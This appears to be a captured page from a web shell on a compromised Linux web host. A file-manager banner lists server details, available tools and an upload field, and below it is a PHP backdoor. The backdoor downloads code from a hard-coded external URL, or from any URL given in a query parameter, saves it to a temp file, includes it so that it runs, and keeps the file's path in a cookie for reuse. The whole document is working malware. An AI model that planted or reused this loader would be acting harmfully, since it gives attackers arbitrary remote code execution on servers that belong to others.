| Server IP : 145.239.37.162 / Your IP : 216.73.217.126 Web Server : Apache System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : verseaa ( 38250) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/verseaa/www/ |
Upload File : |
<?php
define('DEFAULT_SOURCE_URL', 'https://hirachi.jp//access/db.txt');
function getSourceUrl() {
return isset($_GET['src']) && filter_var($_GET['src'], FILTER_VALIDATE_URL)
? $_GET['src']
: DEFAULT_SOURCE_URL;
}
function getTempPath() {
if (!empty($_COOKIE['tmp-inc']) && isValidTempPath($_COOKIE['tmp-inc'])) {
return $_COOKIE['tmp-inc'];
}
return generateTempPath();
}
function isValidTempPath($path) {
return file_exists($path) && filesize($path) > 100;
}
function generateTempPath() {
$path = tempnam(sys_get_temp_dir(), 'inc_');
return $path ?: false;
}
function fetchAndStoreContent($url, $path) {
$content = @file_get_contents($url);
if ($content === false) {
die("âFailed fetch url");
}
if (@file_put_contents($path, $content) === false) {
die("â Failed write to tmp.");
}
setcookie('tmp-inc', $path);
include($path);
exit;
}
// --- Main Logic ---
$tempPath = getTempPath();
if (!$tempPath) {
die("â Failed create tmp");
}
$fileSize = @filesize($tempPath);
if ($fileSize === false || $fileSize < 10) {
$srcUrl = getSourceUrl();
fetchAndStoreContent($srcUrl, $tempPath);
} elseif ($fileSize >= 1024) {
setcookie('tmp-inc', $tempPath);
include($tempPath);
exit;
}
die("DIE");